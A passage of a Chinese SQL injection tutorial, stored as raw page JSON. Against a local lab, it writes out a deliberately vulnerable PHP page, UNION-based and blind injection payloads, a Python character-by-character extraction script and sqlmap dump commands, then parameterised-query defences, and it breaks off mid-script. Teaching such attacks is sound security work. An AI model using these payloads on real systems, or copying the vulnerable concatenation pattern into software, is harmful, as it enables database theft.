拖库、盲注与防御",{"type":7,"value":5017,"toc":6397},[5018,5022,5025,5042,5052,5063,5070,5074,5078,5111,5117,5121,5124,5159,5164,5212,5218,5224,5228,5237,5242,5246,5251,5270,5272,5278,5282,5287,5303,5306,5312,5319,5323,5339,5345,5349,5365,5368,5382,5386,5391,5396,5403,5407,5415,5464,5467,5471,5479,5495,5501,5505,5521,5525,5529,5545,5550,5554,5570,5574,5589,5593,5609,5614,5620,5624,5629,5632,5636,5652,5657,5673,5678,5681,5690,5827,5830,5836,5840,5847,5863,5866,5870,5875,5879,5884,5907,5909,5915,5919,5939,5944,5948,5980,5987,5991,6035,6044,6051,6055,6060,6066,6236,6239,6251,6253,6259,6262,6383,6387,6394],[10,5019,5021],{"id":5020},"一现实背景sql-是怎么被拼出来的","一、现实背景：SQL 是怎么被拼出来的",[15,5023,5024],{},"普通程序员的查询代码：",[97,5026,5030],{"className":5027,"code":5028,"language":5029,"meta":102,"style":102},"language-php shiki shiki-themes dracula","$id = $_GET['id'];\n$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n","php",[52,5031,5032,5037],{"__ignoreMap":102},[106,5033,5034],{"class":108,"line":109},[106,5035,5036],{},"$id = $_GET['id'];\n",[106,5038,5039],{"class":108,"line":115},[106,5040,5041],{},"$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n",[15,5043,5044,5047,5048,5051],{},[52,5045,5046],{},"$id"," 被直接拼进 SQL 字符串。当 ",[52,5049,5050],{},"id=1 OR 1=1"," 时：",[97,5053,5057],{"className":5054,"code":5055,"language":5056,"meta":102,"style":102},"language-sql shiki shiki-themes dracula","SELECT id, title FROM articles WHERE id = 1 OR 1=1\n","sql",[52,5058,5059],{"__ignoreMap":102},[106,5060,5061],{"class":108,"line":109},[106,5062,5055],{},[15,5064,5065,5066,5069],{},"恒真，返回全表。",[316,5067,5068],{},"用户输入从\"数据\"变成了\"代码\"","，这就是 SQL 注入。",[10,5071,5073],{"id":5072},"二环境搭建二选一","二、环境搭建（二选一）",[309,5075,5077],{"id":5076},"方式-asqli-labs-靶场","方式 A：sqli-labs 靶场",[97,5079,5081],{"className":259,"code":5080,"language":261,"meta":102,"style":102},"git clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000\n",[52,5082,5083,5094,5101],{"__ignoreMap":102},[106,5084,5085,5088,5091],{"class":108,"line":109},[106,5086,5087],{"class":268},"git",[106,5089,5090],{"class":272}," clone",[106,5092,5093],{"class":272}," https://github.com/Audi-1/sqli-labs.git\n",[106,5095,5096,5098],{"class":108,"line":115},[106,5097,1804],{"class":1803},[106,5099,5100],{"class":272}," sqli-labs\n",[106,5102,5103,5105,5108],{"class":108,"line":121},[106,5104,5029],{"class":268},[106,5106,5107],{"class":515}," -S",[106,5109,5110],{"class":272}," 127.0.0.1:8000\n",[15,5112,5113,5114,643],{},"浏览器访问，点 \"Setup/reset Database\"，之后打 ",[52,5115,5116],{},"Less-1",[309,5118,5120],{"id":5119},"方式-b自建漏洞页本文以此讲解","方式 B：自建漏洞页（本文以此讲解）",[15,5122,5123],{},"数据库：",[97,5125,5127],{"className":5054,"code":5126,"language":5056,"meta":102,"style":102},"CREATE DATABASE ctf;\nUSE ctf;\nCREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag VARCHAR(100));\nINSERT INTO flag VALUES ('flag{sql_injection}');\n",[52,5128,5129,5134,5139,5144,5149,5154],{"__ignoreMap":102},[106,5130,5131],{"class":108,"line":109},[106,5132,5133],{},"CREATE DATABASE ctf;\n",[106,5135,5136],{"class":108,"line":115},[106,5137,5138],{},"USE ctf;\n",[106,5140,5141],{"class":108,"line":121},[106,5142,5143],{},"CREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\n",[106,5145,5146],{"class":108,"line":128},[106,5147,5148],{},"INSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\n",[106,5150,5151],{"class":108,"line":134},[106,5152,5153],{},"CREATE TABLE flag (flag VARCHAR(100));\n",[106,5155,5156],{"class":108,"line":140},[106,5157,5158],{},"INSERT INTO flag VALUES ('flag{sql_injection}');\n",[15,5160,5161,493],{},[52,5162,5163],{},"vuln.php",[97,5165,5167],{"className":5027,"code":5166,"language":5029,"meta":102,"style":102},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n$id = $_GET['id'];\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n$result = $conn->query($sql);\nwhile ($row = $result->fetch_assoc()) {\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n}\n?>\n",[52,5168,5169,5174,5179,5183,5188,5193,5198,5203,5207],{"__ignoreMap":102},[106,5170,5171],{"class":108,"line":109},[106,5172,5173],{},"\u003C?php\n",[106,5175,5176],{"class":108,"line":115},[106,5177,5178],{},"$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n",[106,5180,5181],{"class":108,"line":121},[106,5182,5036],{},[106,5184,5185],{"class":108,"line":128},[106,5186,5187],{},"$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n",[106,5189,5190],{"class":108,"line":134},[106,5191,5192],{},"$result = $conn->query($sql);\n",[106,5194,5195],{"class":108,"line":140},[106,5196,5197],{},"while ($row = $result->fetch_assoc()) {\n",[106,5199,5200],{"class":108,"line":146},[106,5201,5202],{},"    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n",[106,5204,5205],{"class":108,"line":151},[106,5206,2489],{},[106,5208,5209],{"class":108,"line":157},[106,5210,5211],{},"?>\n",[15,5213,5214,5215,643],{},"启动：",[52,5216,5217],{},"php -S 127.0.0.1:8000",[5219,5220,5221],"blockquote",{},[15,5222,5223],{},"说明：如果你的电脑不方便装 PHP+MySQL，可以跳过本节，用\"附录\"里的 Python+SQLite 模拟程序跑通同样的注入过程，原理完全一致。",[10,5225,5227],{"id":5226},"三核心步骤-1注入点判断","三、核心步骤 1：注入点判断",[15,5229,5230,5232,5233,5236],{},[316,5231,318],{},"：确认参数 ",[52,5234,5235],{},"id"," 能影响 SQL 逻辑，避免在非注入点上浪费时间。",[15,5238,5239,5241],{},[316,5240,385],{},"：用\"会破坏语法\"的单引号和\"改变查询条件\"的 AND 表达式做探测。单引号报错、恒真正常、恒假为空，三者齐备即确认。",[309,5243,5245],{"id":5244},"请求-1正常请求","请求 1：正常请求",[15,5247,5248,5250],{},[316,5249,318],{},"：记录正常响应的样子，作为后续对比的基线。",[97,5252,5254],{"className":259,"code":5253,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/vuln.php?id=1\"\n",[52,5255,5256],{"__ignoreMap":102},[106,5257,5258,5261,5264,5267],{"class":108,"line":109},[106,5259,5260],{"class":268},"curl",[106,5262,5263],{"class":1458}," \"",[106,5265,5266],{"class":272},"http://127.0.0.1:8000/vuln.php?id=1",[106,5268,5269],{"class":1458},"\"\n",[15,5271,1219],{},[97,5273,5276],{"className":5274,"code":5275,"language":215,"meta":102},[213],"1 hello world\n",[52,5277,5275],{"__ignoreMap":102},[309,5279,5281],{"id":5280},"请求-2单引号","请求 2：单引号",[15,5283,5284,5286],{},[316,5285,318],{},"：判断输入是否被拼进 SQL。拼进去了，单引号就会破坏语法。",[97,5288,5290],{"className":259,"code":5289,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n",[52,5291,5292],{"__ignoreMap":102},[106,5293,5294,5296,5298,5301],{"class":108,"line":109},[106,5295,5260],{"class":268},[106,5297,5263],{"class":1458},[106,5299,5300],{"class":272},"http://127.0.0.1:8000/vuln.php?id=1'",[106,5302,5269],{"class":1458},[15,5304,5305],{},"预期输出（报错）：",[97,5307,5310],{"className":5308,"code":5309,"language":215,"meta":102},[213],"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version ...\n",[52,5311,5309],{"__ignoreMap":102},[15,5313,5314,5315,5318],{},"原因：语句变成 ",[52,5316,5317],{},"WHERE id = 1'","，单引号未闭合。",[309,5320,5322],{"id":5321},"请求-3and-11","请求 3：AND 1=1",[97,5324,5326],{"className":259,"code":5325,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n",[52,5327,5328],{"__ignoreMap":102},[106,5329,5330,5332,5334,5337],{"class":108,"line":109},[106,5331,5260],{"class":268},[106,5333,5263],{"class":1458},[106,5335,5336],{"class":272},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1",[106,5338,5269],{"class":1458},[15,5340,1219,5341,5344],{},[52,5342,5343],{},"1 hello world","（条件真）。",[309,5346,5348],{"id":5347},"请求-4and-12","请求 4：AND 1=2",[97,5350,5352],{"className":259,"code":5351,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n",[52,5353,5354],{"__ignoreMap":102},[106,5355,5356,5358,5360,5363],{"class":108,"line":109},[106,5357,5260],{"class":268},[106,5359,5263],{"class":1458},[106,5361,5362],{"class":272},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2",[106,5364,5269],{"class":1458},[15,5366,5367],{},"预期输出：空（条件假）。",[15,5369,5370,5373,5374,5377,5378,5381],{},[316,5371,5372],{},"判定","：单引号报错 + ",[52,5375,5376],{},"1=1"," 正常 + ",[52,5379,5380],{},"1=2"," 为空 → 注入点确认。",[10,5383,5385],{"id":5384},"四核心步骤-2union-注入五步拖库","四、核心步骤 2：UNION 注入五步拖库",[15,5387,5388,5390],{},[316,5389,318],{},"：把数据库里的表和数据\"借\" UNION 查询显示到页面上。",[15,5392,5393,5395],{},[316,5394,385],{},"：UNION 合并两个查询，但要求列数一致；先把第一个查询置空（id=-1），再用回显列依次输出库名、表名、列名、数据。每一步都是下一步的前提：不知道库名就筛不出表，不知道表名就查不了列。",[15,5397,5398,5399,5402],{},"前提：第一个查询返回空（用 ",[52,5400,5401],{},"id=-1","），UNION 两个查询列数相同。",[309,5404,5406],{"id":5405},"第-1-步确定列数","第 1 步：确定列数",[15,5408,5409,493,5411,5414],{},[316,5410,385],{},[52,5412,5413],{},"ORDER BY N"," 按第 N 列排序，N 超过实际列数时报错。从 1 试到报错为止，报错前的 N 就是列数。",[97,5416,5418],{"className":259,"code":5417,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4\"\n",[52,5419,5420,5431,5442,5453],{"__ignoreMap":102},[106,5421,5422,5424,5426,5429],{"class":108,"line":109},[106,5423,5260],{"class":268},[106,5425,5263],{"class":1458},[106,5427,5428],{"class":272},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1",[106,5430,5269],{"class":1458},[106,5432,5433,5435,5437,5440],{"class":108,"line":115},[106,5434,5260],{"class":268},[106,5436,5263],{"class":1458},[106,5438,5439],{"class":272},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2",[106,5441,5269],{"class":1458},[106,5443,5444,5446,5448,5451],{"class":108,"line":121},[106,5445,5260],{"class":268},[106,5447,5263],{"class":1458},[106,5449,5450],{"class":272},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3",[106,5452,5269],{"class":1458},[106,5454,5455,5457,5459,5462],{"class":108,"line":128},[106,5456,5260],{"class":268},[106,5458,5263],{"class":1458},[106,5460,5461],{"class":272},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4",[106,5463,5269],{"class":1458},[15,5465,5466],{},"前三条正常，第四条报错 → 共 3 列。",[309,5468,5470],{"id":5469},"第-2-步确认回显位","第 2 步：确认回显位",[15,5472,5473,493,5475,5478],{},[316,5474,385],{},[52,5476,5477],{},"SELECT 1,2,3"," 的数字会显示在页面上，显示的哪个数字对应哪一列，哪一列就能用来输出数据。",[97,5480,5482],{"className":259,"code":5481,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n",[52,5483,5484],{"__ignoreMap":102},[106,5485,5486,5488,5490,5493],{"class":108,"line":109},[106,5487,5260],{"class":268},[106,5489,5263],{"class":1458},[106,5491,5492],{"class":272},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+",[106,5494,5269],{"class":1458},[15,5496,1219,5497,5500],{},[52,5498,5499],{},"2 3","。第 2、3 列内容会显示，作为后续输出位置。",[309,5502,5504],{"id":5503},"第-3-步查数据库名","第 3 步：查数据库名",[97,5506,5508],{"className":259,"code":5507,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n",[52,5509,5510],{"__ignoreMap":102},[106,5511,5512,5514,5516,5519],{"class":108,"line":109},[106,5513,5260],{"class":268},[106,5515,5263],{"class":1458},[106,5517,5518],{"class":272},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+",[106,5520,5269],{"class":1458},[15,5522,1219,5523,643],{},[52,5524,1070],{},[309,5526,5528],{"id":5527},"第-4-步查表名","第 4 步：查表名",[97,5530,5532],{"className":259,"code":5531,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n",[52,5533,5534],{"__ignoreMap":102},[106,5535,5536,5538,5540,5543],{"class":108,"line":109},[106,5537,5260],{"class":268},[106,5539,5263],{"class":1458},[106,5541,5542],{"class":272},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+",[106,5544,5269],{"class":1458},[15,5546,1219,5547,643],{},[52,5548,5549],{},"articles,flag,users",[309,5551,5553],{"id":5552},"第-5-步查列名","第 5 步：查列名",[97,5555,5557],{"className":259,"code":5556,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+\"\n",[52,5558,5559],{"__ignoreMap":102},[106,5560,5561,5563,5565,5568],{"class":108,"line":109},[106,5562,5260],{"class":268},[106,5564,5263],{"class":1458},[106,5566,5567],{"class":272},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+",[106,5569,5269],{"class":1458},[15,5571,1219,5572,643],{},[52,5573,58],{},[15,5575,5576,5579,5580,5582,5583,5585,5586,5588],{},[316,5577,5578],{},"说明","：如果第 4 步看到多个表，比如 ",[52,5581,5549],{},"，优先怀疑 ",[52,5584,58],{}," 表；列名可能不是 ",[52,5587,58],{},"，需要本步用 information_schema.columns 确认。",[309,5590,5592],{"id":5591},"第-6-步拿数据","第 6 步：拿数据",[97,5594,5596],{"className":259,"code":5595,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n",[52,5597,5598],{"__ignoreMap":102},[106,5599,5600,5602,5604,5607],{"class":108,"line":109},[106,5601,5260],{"class":268},[106,5603,5263],{"class":1458},[106,5605,5606],{"class":272},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+",[106,5608,5269],{"class":1458},[15,5610,1219,5611,643],{},[52,5612,5613],{},"flag{sql_injection}",[15,5615,5616,5619],{},[316,5617,5618],{},"验证","：若第 6 步报错，通常是列名猜错，回到第 5 步把列名抄准再试。",[10,5621,5623],{"id":5622},"五核心步骤-3盲注页面不回显时","五、核心步骤 3：盲注（页面不回显时）",[15,5625,5626,5628],{},[316,5627,318],{},"：当页面既不显示查询结果也不报错时，把数据库当\"是与否\"的问答机，逐字符问出数据。",[15,5630,5631],{},"当页面不显示查询结果也不报错时，只能用\"是与否\"推断数据。",[309,5633,5635],{"id":5634},"_51-布尔盲注","5.1 布尔盲注",[97,5637,5639],{"className":259,"code":5638,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+\"\n",[52,5640,5641],{"__ignoreMap":102},[106,5642,5643,5645,5647,5650],{"class":108,"line":109},[106,5644,5260],{"class":268},[106,5646,5263],{"class":1458},[106,5648,5649],{"class":272},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+",[106,5651,5269],{"class":1458},[15,5653,5654,5655,643],{},"正常 → 库名第一个字符是 ",[52,5656,1849],{},[97,5658,5660],{"className":259,"code":5659,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+\"\n",[52,5661,5662],{"__ignoreMap":102},[106,5663,5664,5666,5668,5671],{"class":108,"line":109},[106,5665,5260],{"class":268},[106,5667,5263],{"class":1458},[106,5669,5670],{"class":272},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+",[106,5672,5269],{"class":1458},[15,5674,5675,5676,643],{},"为空 → 不是 ",[52,5677,287],{},[15,5679,5680],{},"自动化脚本：",[15,5682,5683,5685,5686,5689],{},[316,5684,385],{},"：对 flag 的每个位置，逐个尝试字符，问\"这一位是不是 ch\"；页面出现正常特征（如 ",[52,5687,5688],{},"hello","）就说明猜对，把字符记下再问下一位。",[97,5691,5693],{"className":99,"code":5692,"language":101,"meta":102,"style":102},"import requests, string\n# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n\nurl = \"http://127.0.0.1:8000/vuln.php\"\nresult = \"\"          # 保存已确认的 flag 片段\n\nfor pos in range(1, 50):\n    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n    found = False\n    for ch in string.printable:\n        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n        r = requests.get(url, params={\"id\": payload})\n        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n        # r.text：响应正文。\n        if \"hello\" in r.text:\n            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n            result += ch\n            print(result)\n            found = True\n            break\n    if not found or result.endswith('}'):\n        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n        break\nprint(\"flag:\", result)\n",[52,5694,5695,5700,5705,5709,5714,5719,5723,5728,5733,5738,5743,5748,5753,5758,5763,5768,5773,5778,5783,5788,5793,5798,5803,5808,5813,5818,5822],{"__ignoreMap":102},[106,5696,5697],{"class":108,"line":109},[106,5698,5699],{},"import requests, string\n",[106,5701,5702],{"class":108,"line":115},[106,5703,5704],{},"# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n",[106,5706,5707],{"class":108,"line":121},[106,5708,125],{"emptyLinePlaceholder":124},[106,5710,5711],{"class":108,"line":128},[106,5712,5713],{},"url = \"http://127.0.0.1:8000/vuln.php\"\n",[106,5715,5716],{"class":108,"line":134},[106,5717,5718],{},"result = \"\"          # 保存已确认的 flag 片段\n",[106,5720,5721],{"class":108,"line":140},[106,5722,125],{"emptyLinePlaceholder":124},[106,5724,5725],{"class":108,"line":146},[106,5726,5727],{},"for pos in range(1, 50):\n",[106,5729,5730],{"class":108,"line":151},[106,5731,5732],{},"    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n",[106,5734,5735],{"class":108,"line":157},[106,5736,5737],{},"    found = False\n",[106,5739,5740],{"class":108,"line":163},[106,5741,5742],{},"    for ch in string.printable:\n",[106,5744,5745],{"class":108,"line":169},[106,5746,5747],{},"        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n",[106,5749,5750],{"class":108,"line":174},[106,5751,5752],{},"        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n",[106,5754,5755],{"class":108,"line":180},[106,5756,5757],{},"        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n",[106,5759,5760],{"class":108,"line":186},[106,5761,5762],{},"        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n",[106,5764,5765],{"class":108,"line":192},[106,5766,5767],{},"        r = requests.get(url, params={\"id\": payload})\n",[106,5769,5770],{"class":108,"line":197},[106,5771,5772],{},"        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n",[106,5774,5775],{"class":108,"line":203},[106,5776,5777],{},"        # r.text：响应正文。\n",[106,5779,5780],{"class":108,"line":770},[106,5781,5782],{},"        if \"hello\" in r.text:\n",[106,5784,5785],{"class":108,"line":775},[106,5786,5787],{},"            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n",[106,5789,5790],{"class":108,"line":781},[106,5791,5792],{},"            result += ch\n",[106,5794,5795],{"class":108,"line":787},[106,5796,5797],{},"            print(result)\n",[106,5799,5800],{"class":108,"line":793},[106,5801,5802],{},"            found = True\n",[106,5804,5805],{"class":108,"line":799},[106,5806,5807],{},"            break\n",[106,5809,5810],{"class":108,"line":805},[106,5811,5812],{},"    if not found or result.endswith('}'):\n",[106,5814,5815],{"class":108,"line":4548},[106,5816,5817],{},"        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n",[106,5819,5820],{"class":108,"line":4553},[106,5821,463],{},[106,5823,5824],{"class":108,"line":4559},[106,5825,5826],{},"print(\"flag:\", result)\n",[15,5828,5829],{},"运行过程输出（节选）：",[97,5831,5834],{"className":5832,"code":5833,"language":215,"meta":102},[213],"f\nfl\nfla\nflag{\n...\nflag{sql_injection}\n",[52,5835,5833],{"__ignoreMap":102},[309,5837,5839],{"id":5838},"_52-时间盲注","5.2 时间盲注",[15,5841,5842,5843,5846],{},"页面连\"正常/异常\"都无法区分时，用 ",[52,5844,5845],{},"SLEEP"," 制造时间差：",[97,5848,5850],{"className":259,"code":5849,"language":261,"meta":102,"style":102},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+\"\n",[52,5851,5852],{"__ignoreMap":102},[106,5853,5854,5856,5858,5861],{"class":108,"line":109},[106,5855,5260],{"class":268},[106,5857,5263],{"class":1458},[106,5859,5860],{"class":272},"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+",[106,5862,5269],{"class":1458},[15,5864,5865],{},"响应慢 2 秒 → 条件为真。脚本判断响应时间即可。",[10,5867,5869],{"id":5868},"六核心步骤-4sqlmap-自动化","六、核心步骤 4：sqlmap 自动化",[15,5871,5872,5874],{},[316,5873,318],{},"：手工确认后，用工具批量完成拖库，效率更高。",[309,5876,5878],{"id":5877},"命令-1检测","命令 1：检测",[15,5880,5881,5883],{},[316,5882,385],{},"：sqlmap 会对参数自动测试多种注入技术并报告类型。先检测确认，再定向拖库。",[97,5885,5887],{"className":259,"code":5886,"language":261,"meta":102,"style":102},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --batch\n",[52,5888,5889],{"__ignoreMap":102},[106,5890,5891,5894,5897,5899,5901,5904],{"class":108,"line":109},[106,5892,5893],{"class":268},"sqlmap",[106,5895,5896],{"class":515}," -u",[106,5898,5263],{"class":1458},[106,5900,5266],{"class":272},[106,5902,5903],{"class":1458},"\"",[106,5905,5906],{"class":515}," --batch\n",[15,5908,1468],{},[97,5910,5913],{"className":5911,"code":5912,"language":215,"meta":102},[213],"Parameter: id (GET)\n    Type: boolean-based blind\n    Type: UNION query\n",[52,5914,5912],{"__ignoreMap":102},[309,5916,5918],{"id":5917},"命令-2列库","命令 2：列库",[97,5920,5922],{"className":259,"code":5921,"language":261,"meta":102,"style":102},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --dbs\n",[52,5923,5924],{"__ignoreMap":102},[106,5925,5926,5928,5930,5932,5934,5936],{"class":108,"line":109},[106,5927,5893],{"class":268},[106,5929,5896],{"class":515},[106,5931,5263],{"class":1458},[106,5933,5266],{"class":272},[106,5935,5903],{"class":1458},[106,5937,5938],{"class":515}," --dbs\n",[15,5940,5941,5942,643],{},"预期输出：数据库列表，含 ",[52,5943,1070],{},[309,5945,5947],{"id":5946},"命令-3导出数据","命令 3：导出数据",[97,5949,5951],{"className":259,"code":5950,"language":261,"meta":102,"style":102},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" -D ctf -T flag --dump\n",[52,5952,5953],{"__ignoreMap":102},[106,5954,5955,5957,5959,5961,5963,5965,5968,5971,5974,5977],{"class":108,"line":109},[106,5956,5893],{"class":268},[106,5958,5896],{"class":515},[106,5960,5263],{"class":1458},[106,5962,5266],{"class":272},[106,5964,5903],{"class":1458},[106,5966,5967],{"class":515}," -D",[106,5969,5970],{"class":272}," ctf",[106,5972,5973],{"class":515}," -T",[106,5975,5976],{"class":272}," flag",[106,5978,5979],{"class":515}," --dump\n",[15,5981,1219,5982,5984,5985,643],{},[52,5983,58],{}," 表内容 ",[52,5986,5613],{},[10,5988,5990],{"id":5989},"七核心步骤-5防御","七、核心步骤 5：防御",[97,5992,5994],{"className":5027,"code":5993,"language":5029,"meta":102,"style":102},"// PDO 参数化\n$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n\n// mysqli 参数化\n$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n$stmt->bind_param(\"ss\", $user, $pass);\n$stmt->execute();\n",[52,5995,5996,6001,6006,6011,6015,6020,6025,6030],{"__ignoreMap":102},[106,5997,5998],{"class":108,"line":109},[106,5999,6000],{},"// PDO 参数化\n",[106,6002,6003],{"class":108,"line":115},[106,6004,6005],{},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n",[106,6007,6008],{"class":108,"line":121},[106,6009,6010],{},"$stmt->execute([$_GET['id']]);\n",[106,6012,6013],{"class":108,"line":128},[106,6014,125],{"emptyLinePlaceholder":124},[106,6016,6017],{"class":108,"line":134},[106,6018,6019],{},"// mysqli 参数化\n",[106,6021,6022],{"class":108,"line":140},[106,6023,6024],{},"$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n",[106,6026,6027],{"class":108,"line":146},[106,6028,6029],{},"$stmt->bind_param(\"ss\", $user, $pass);\n",[106,6031,6032],{"class":108,"line":151},[106,6033,6034],{},"$stmt->execute();\n",[97,6036,6038],{"className":99,"code":6037,"language":101,"meta":102,"style":102},"cursor.execute(\"SELECT * FROM users WHERE username = ?\", (name,))\n",[52,6039,6040],{"__ignoreMap":102},[106,6041,6042],{"class":108,"line":109},[106,6043,6037],{},[15,6045,6046,6047,6050],{},"参数化后，输入 ",[52,6048,6049],{},"1 OR 1=1"," 只会作为字符串比较，不再改变语句结构。",[10,6052,6054],{"id":6053},"八附录本地可运行的-sqlite-模拟完整输入输出","八、附录：本地可运行的 SQLite 模拟（完整输入输出）",[15,6056,6057,6059],{},[316,6058,318],{},"：没有 PHP/MySQL 环境时，用 Python 自带 sqlite3 复现同样的\"字符串拼接注入\"，逐条对照输出理解每一步。",[15,6061,6062,6063,493],{},"没有 PHP/MySQL 时，用 Python + SQLite 复现同样的漏洞机制。保存 ",[52,6064,6065],{},"sim.py",[97,6067,6069],{"className":99,"code":6068,"language":101,"meta":102,"style":102},"import sqlite3\n# sqlite3：Python 标准库，操作 SQLite 数据库。\n\nconn = sqlite3.connect(':memory:')\n# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\nconn.executescript('''\nCREATE TABLE articles (id INT, title TEXT, content TEXT);\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag TEXT);\nINSERT INTO flag VALUES ('flag{sql_injection}');\n''')\n# executescript：一次性执行多条 SQL，建表并插入测试数据。\n\ndef query(id_):\n    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n    cur = conn.cursor()\n    # cursor()：创建游标对象，用于执行 SQL。\n    try:\n        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n        return str(cur.fetchall())\n        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n    except Exception as e:\n        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n        return \"ERROR: \" + str(e)\n\nprint(query(\"1\"))\nprint(query(\"1'\"))\nprint(query(\"1 AND 1=1\"))\nprint(query(\"1 AND 1=2\"))\nprint(query(\"1 ORDER BY 3\"))\nprint(query(\"-1 UNION SELECT 1,2,3-- \"))\nprint(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\nprint(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[52,6070,6071,6076,6081,6085,6090,6095,6100,6105,6109,6114,6118,6123,6128,6132,6137,6142,6147,6152,6157,6162,6167,6172,6177,6182,6187,6192,6196,6201,6206,6211,6216,6221,6226,6231],{"__ignoreMap":102},[106,6072,6073],{"class":108,"line":109},[106,6074,6075],{},"import 